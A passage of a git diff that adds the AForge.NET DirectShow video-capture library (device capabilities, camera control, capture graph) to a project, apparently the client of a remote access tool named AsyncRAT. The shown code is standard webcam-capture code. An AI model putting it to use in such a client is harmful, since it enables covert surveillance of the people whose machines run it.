+ { + videocapsList.Add( key, vc ); + } + else + { + if ( vc.BitCount > videocapsList[key].BitCount ) + { + videocapsList[key] = vc; + } + } + } + catch + { + } + } + + VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; + videocapsList.Values.CopyTo( videocaps, 0 ); + + return videocaps; + } + + // Retrieve capabilities of a video device + internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) + { + AMMediaType mediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + try + { + // retrieve capabilities struct at the specified index + int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( mediaType.FormatType == FormatType.VideoInfo ) + { + VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else if ( mediaType.FormatType == FormatType.VideoInfo2 ) + { + VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else + { + throw new ApplicationException( "Unsupported format found." ); + } + + // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 + // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail + // on such formats + if ( BitCount <= 12 ) + { + throw new ApplicationException( "Unsupported format found." ); + } + } + finally + { + if ( mediaType != null ) + mediaType.Dispose( ); + } + } + + /// + /// Check if the video capability equals to the specified object. + /// + /// + /// Object to compare with. + /// + /// Returns true if both are equal are equal or false otherwise. + /// + public override bool Equals( object obj ) + { + return Equals( obj as VideoCapabilities ); + } + + /// + /// Check if two video capabilities are equal. + /// + /// + /// Second video capability to compare with. + /// + /// Returns true if both video capabilities are equal or false otherwise. + /// + public bool Equals( VideoCapabilities vc2 ) + { + if ( (object) vc2 == null ) + { + return false; + } + + return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); + } + + /// + /// Get hash code of the object. + /// + /// + /// Returns hash code ot the object + public override int GetHashCode( ) + { + return FrameSize.GetHashCode( ) ^ BitCount; + } + + /// + /// Equality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are equal or false otherwise. + public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) + { + // if both are null, or both are same instance, return true. + if ( object.ReferenceEquals( a, b ) ) + { + return true; + } + + // if one is null, but not both, return false. + if ( ( (object) a == null ) || ( (object) b == null ) ) + { + return false; + } + + return a.Equals( b ); + } + + /// + /// Inequality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are not equal or false otherwise. + public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) + { + return !( a == b ); + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs new file mode 100644 index 0000000..8b76c5a --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs @@ -0,0 +1,1698 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Video source for local video capture device (for example USB webcam). + /// + /// + /// This video source class captures video data from local video capture device, + /// like USB web camera (or internal), frame grabber, capture board - anything which + /// supports DirectShow interface. For devices which has a shutter button or + /// support external software triggering, the class also allows to do snapshots. Both + /// video size and snapshot size can be configured. + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // create video source + /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); + /// // set NewFrame event handler + /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// videoSource.Start( ); + /// // ... + /// // signal to stop when you no longer need capturing + /// videoSource.SignalToStop( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class VideoCaptureDevice : IVideoSource + { + // moniker string of video capture device + private string deviceMoniker; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + + // video and snapshot resolutions to set + private VideoCapabilities videoResolution = null; + private VideoCapabilities snapshotResolution = null; + + // provide snapshots or not + private bool provideSnapshots = false; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + private VideoCapabilities[] videoCapabilities; + private VideoCapabilities[] snapshotCapabilities; + + private bool needToSetVideoInput = false; + private bool needToSimulateTrigger = false; + private bool needToDisplayPropertyPage = false; + private bool needToDisplayCrossBarPropertyPage = false; + private IntPtr parentWindowForPropertyPage = IntPtr.Zero; + + // video capture source object + private object sourceObject = null; + + // time of starting the DirectX graph + private DateTime startTime = new DateTime( ); + + // dummy object to lock for synchronization + private object sync = new object( ); + + // flag specifying if IAMCrossbar interface is supported by the running graph/source object + private bool? isCrossbarAvailable = null; + + private VideoInput[] crossbarVideoInputs = null; + private VideoInput crossbarVideoInput = VideoInput.Default; + + // cache for video/snapshot capabilities and video inputs + private static Dictionary cacheVideoCapabilities = new Dictionary( ); + private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); + private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); + + /// + /// Current video input of capture card. + /// + /// + /// The property specifies video input to use for video devices like capture cards + /// (those which provide crossbar configuration). List of available video inputs can be obtained + /// from property. + /// + /// To check if the video device supports crossbar configuration, the + /// method can be used. + /// + /// This property can be set as before running video device, as while running it. + /// + /// By default this property is set to , which means video input + /// will not be set when running video device, but currently configured will be used. After video device + /// is started this property will be updated anyway to tell current video input. + /// + /// + public VideoInput CrossbarVideoInput + { + get { return crossbarVideoInput; } + set + { + needToSetVideoInput = true; + crossbarVideoInput = value; + } + } + + /// + /// Available inputs of the video capture card. + /// + /// + /// The property provides list of video inputs for devices like video capture cards. + /// Such devices usually provide several video inputs, which can be selected using crossbar. + /// If video device represented by the object of this class supports crossbar, then this property + /// will list all video inputs. However if it is a regular USB camera, for example, which does not + /// provide crossbar configuration, the property will provide zero length array. + /// + /// Video input to be used can be selected using . See also + /// method, which provides crossbar configuration dialog. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoInput[] AvailableCrossbarVideoInputs + { + get + { + if ( crossbarVideoInputs == null ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) + { + crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; + } + } + + if ( crossbarVideoInputs == null ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even if capabilities are not provided for some reason + return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; + } + } + + /// + /// Specifies if snapshots should be provided or not. + /// + /// + /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it + /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will + /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property + /// is set to , then snapshots will be provided through + /// event. + /// + /// Check supported sizes of snapshots using property and set the + /// desired size using property. + /// + /// The property must be set before running the video source to take effect. + /// + /// Default value of the property is set to . + /// + /// + public bool ProvideSnapshots + { + get { return provideSnapshots; } + set { provideSnapshots = value; } + } + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Snapshot frame event. + /// + /// + /// Notifies clients about new available snapshot frame - the one which comes when + /// camera's snapshot/shutter button is pressed. + /// + /// See documentation to for additional information. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + /// + /// + public event NewFrameEventHandler SnapshotFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// Video source is represented by moniker string of video capture device. + /// + public virtual string Source + { + get { return deviceMoniker; } + set + { + deviceMoniker = value; + + videoCapabilities = null; + snapshotCapabilities = null; + crossbarVideoInputs = null; + isCrossbarAvailable = null; + } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredFrameSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredSnapshotSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use. + /// + /// + /// The property is obsolete. Setting this property does not have any effect. + /// + [Obsolete] + public int DesiredFrameRate + { + get { return 0; } + set { } + } + + /// + /// Video resolution to set. + /// + /// + /// The property allows to set one of the video resolutions supported by the camera. + /// Use property to get the list of supported video resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default video + /// resolution is used. + /// + /// + public VideoCapabilities VideoResolution + { + get { return videoResolution; } + set { videoResolution = value; } + } + + /// + /// Snapshot resolution to set. + /// + /// + /// The property allows to set one of the snapshot resolutions supported by the camera. + /// Use property to get the list of supported snapshot resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default snapshot + /// resolution is used. + /// + /// + public VideoCapabilities SnapshotResolution + { + get { return snapshotResolution; } + set { snapshotResolution = value; } + } + + /// + /// Video capabilities of the device. + /// + /// + /// The property provides list of device's video capabilities. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoCapabilities[] VideoCapabilities + { + get + { + if ( videoCapabilities == null ) + { + lock ( cacheVideoCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + videoCapabilities = cacheVideoCapabilities[deviceMoniker]; + } + } + + if ( videoCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Snapshot capabilities of the device. + /// + /// + /// The property provides list of device's snapshot capabilities. + /// + /// If the array has zero length, then it means that this device does not support making + /// snapshots. + /// + /// See documentation to for additional information. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + /// + /// + public VideoCapabilities[] SnapshotCapabilities + { + get + { + if ( snapshotCapabilities == null ) + { + lock ( cacheSnapshotCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; + } + } + + if ( snapshotCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Source COM object of camera capture device. + /// + /// + /// The source COM object of camera capture device is exposed for the + /// case when user may need get direct access to the object for making some custom + /// configuration of camera through DirectShow interface, for example. + /// + /// + /// If camera is not running, the property is set to . + /// + /// + public object SourceObject + { + get { return sourceObject; } + } + + /// + /// Initializes a new instance of the class. + /// + /// + public VideoCaptureDevice( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Moniker string of video capture device. + /// + public VideoCaptureDevice( string deviceMoniker ) + { + this.deviceMoniker = deviceMoniker; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( string.IsNullOrEmpty( deviceMoniker ) ) + throw new ArgumentException( "Video source is not specified." ); + + framesReceived = 0; + bytesReceived = 0; + isCrossbarAvailable = null; + needToSetVideoInput = true; + + // create events + stopEvent = new ManualResetEvent( false ); + + lock ( sync ) + { + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = deviceMoniker; // mainly for debugging + thread.Start( ); + } + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + /// + /// Display property window for the video capture device providing its configuration + /// capabilities. + /// + /// + /// Handle of parent window. + /// + /// If you pass parent window's handle to this method, then the + /// displayed property page will become modal window and none of the controls from the + /// parent window will be accessible. In order to make it modeless it is required + /// to pass as parent window's handle. + /// + /// + /// + /// The video source does not support configuration property page. + /// + public void DisplayPropertyPage( IntPtr parentWindow ) + { + // check source + if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) + throw new ArgumentException( "Video source is not specified." ); + + lock ( sync ) + { + if ( IsRunning ) + { + // pass the request to backgroud thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayPropertyPage = true; + return; + } + + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is ISpecifyPropertyPages ) ) + { + throw new NotSupportedException( "The video source does not support configuration property page." ); + } + + DisplayPropertyPage( parentWindow, tempSourceObject ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + } + + /// + /// Display property page of video crossbar (Analog Video Crossbar filter). + /// + /// + /// Handle of parent window. + /// + /// The Analog Video Crossbar filter is modeled after a general switching matrix, + /// with n inputs and m outputs. For example, a video card might have two external connectors: + /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on + /// the filter. The displayed property page allows to configure the crossbar by selecting input + /// of a video card to use. + /// + /// This method can be invoked only when video source is running ( is + /// ). Otherwise it generates exception. + /// + /// Use method to check if running video source provides + /// crossbar configuration. + /// + /// + /// The video source must be running in order to display crossbar property page. + /// Crossbar configuration is not supported by currently running video source. + /// + public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) + { + lock ( sync ) + { + // wait max 5 seconds till the flag gets initialized + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) + { + Thread.Sleep( 10 ); + } + + if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) + { + throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); + } + + if ( !isCrossbarAvailable.Value ) + { + throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); + } + + // pass the request to background thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayCrossBarPropertyPage = true; + } + } + + /// + /// Check if running video source provides crossbar for configuration. + /// + /// + /// Returns if crossbar configuration is available or + /// otherwise. + /// + /// The method reports if the video source provides crossbar configuration + /// using . + /// + /// + public bool CheckIfCrossbarAvailable( ) + { + lock ( sync ) + { + if ( !isCrossbarAvailable.HasValue ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + + return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; + } + } + + + /// + /// Simulates an external trigger. + /// + /// + /// The method simulates external trigger for video cameras, which support + /// providing still image snapshots. The effect is equivalent as pressing camera's shutter + /// button - a snapshot will be provided through event. + /// + /// The property must be set to + /// to enable receiving snapshots. + /// + /// + public void SimulateTrigger( ) + { + needToSimulateTrigger = true; + } + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Set( property, value, controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives the value indicating whether the setting is controlled manually or automatically + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Get( property, out value, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Worker thread. + /// + /// + private void WorkerThread( ) + { + WorkerThread( true ); + } + + private void WorkerThread( bool runGraph ) + { + ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; + bool isSapshotSupported = false; + + // grabber + Grabber videoGrabber = new Grabber( this, false ); + Grabber snapshotGrabber = new Grabber( this, true ); + + // objects + object captureGraphObject = null; + object graphObject = null; + object videoGrabberObject = null; + object snapshotGrabberObject = null; + object crossbarObject = null; + + // interfaces + ICaptureGraphBuilder2 captureGraph = null; + IFilterGraph2 graph = null; + IBaseFilter sourceBase = null; + IBaseFilter videoGrabberBase = null; + IBaseFilter snapshotGrabberBase = null; + ISampleGrabber videoSampleGrabber = null; + ISampleGrabber snapshotSampleGrabber = null; + IMediaControl mediaControl = null; + IAMVideoControl videoControl = null; + IMediaEventEx mediaEvent = null; + IPin pinStillImage = null; + IAMCrossbar crossbar = null; + + try + { + // get type of capture graph builder + Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); + if ( type == null ) + throw new ApplicationException( "Failed creating capture graph builder" ); + + // create capture graph builder + captureGraphObject = Activator.CreateInstance( type ); + captureGraph = (ICaptureGraphBuilder2) captureGraphObject; + + // get type of filter graph + type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); + if ( type == null ) + throw new ApplicationException( "Failed creating filter graph" ); + + // create filter graph + graphObject = Activator.CreateInstance( type ); + graph = (IFilterGraph2) graphObject; + + // set filter graph to the capture graph builder + captureGraph.SetFiltergraph( (IGraphBuilder) graph ); + + // create source device's object + sourceObject = FilterInfo.CreateFilter( deviceMoniker ); + if ( sourceObject == null ) + throw new ApplicationException( "Failed creating device object for moniker" ); + + // get base filter interface of source device + sourceBase = (IBaseFilter) sourceObject; + + // get video control interface of the device + try + { + videoControl = (IAMVideoControl) sourceObject; + } + catch + { + // some camera drivers may not support IAMVideoControl interface + } + + // get type of sample grabber + type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); + if ( type == null ) + throw new ApplicationException( "Failed creating sample grabber" ); + + // create sample grabber used for video capture + videoGrabberObject = Activator.CreateInstance( type ); + videoSampleGrabber = (ISampleGrabber) videoGrabberObject; + videoGrabberBase = (IBaseFilter) videoGrabberObject; + // create sample grabber used for snapshot capture + snapshotGrabberObject = Activator.CreateInstance( type ); + snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; + snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; + + // add source and grabber filters to graph + graph.AddFilter( sourceBase, "source" ); + graph.AddFilter( videoGrabberBase, "grabber_video" ); + graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); + + // set media type + AMMediaType mediaType = new AMMediaType( ); + mediaType.MajorType = MediaType.Video; + mediaType.SubType = MediaSubType.RGB24; + + videoSampleGrabber.SetMediaType( mediaType ); + snapshotSampleGrabber.SetMediaType( mediaType ); + + // get crossbar object to to allows configuring pins of capture card + captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); + if ( crossbarObject != null ) + { + crossbar = (IAMCrossbar) crossbarObject; + } + isCrossbarAvailable = ( crossbar != null ); + crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); + + if ( videoControl != null ) + { + // find Still Image output pin of the vedio device + captureGraph.FindPin( sourceObject, PinDirection.Output, + PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); + // check if it support trigger mode + if ( pinStillImage != null ) + { + VideoControlFlags caps; + videoControl.GetCaps( pinStillImage, out caps ); + isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); + } + } + + // configure video sample grabber + videoSampleGrabber.SetBufferSamples( false ); + videoSampleGrabber.SetOneShot( false ); + videoSampleGrabber.SetCallback( videoGrabber, 1 ); + + // configure snapshot sample grabber + snapshotSampleGrabber.SetBufferSamples( true ); + snapshotSampleGrabber.SetOneShot( false ); + snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); + + // configure pins + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.Capture, videoResolution, ref videoCapabilities ); + if ( isSapshotSupported ) + { + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); + } + else + { + snapshotCapabilities = new VideoCapabilities[0]; + } + + // put video/snapshot capabilities into cache + lock ( cacheVideoCapabilities ) + { + if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); + } + } + lock ( cacheSnapshotCapabilities ) + { + if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); + } + } + + if ( runGraph ) + { + // render capture pin + captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); + + if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + videoGrabber.Width = vih.BmiHeader.Width; + videoGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + // render snapshot pin + captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); + + if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + snapshotGrabber.Width = vih.BmiHeader.Width; + snapshotGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + } + + // get media control + mediaControl = (IMediaControl) graphObject; + + // get media events' interface + mediaEvent = (IMediaEventEx) graphObject; + IntPtr p1, p2; + DsEvCode code; + + // run + mediaControl.Run( ); + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + startTime = DateTime.Now; + videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); + } + + do + { + if ( mediaEvent != null ) + { + if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) + { + mediaEvent.FreeEventParams( code, p1, p2 ); + + if ( code == DsEvCode.DeviceLost ) + { + reasonToStop = ReasonToFinishPlaying.DeviceLost; + break; + } + } + } + + if ( needToSetVideoInput ) + { + needToSetVideoInput = false; + // set/check current input type of a video card (frame grabber) + if ( isCrossbarAvailable.Value ) + { + SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToSimulateTrigger ) + { + needToSimulateTrigger = false; + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); + } + } + + if ( needToDisplayPropertyPage ) + { + needToDisplayPropertyPage = false; + DisplayPropertyPage( parentWindowForPropertyPage, sourceObject ); + + if ( crossbar != null ) + { + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } 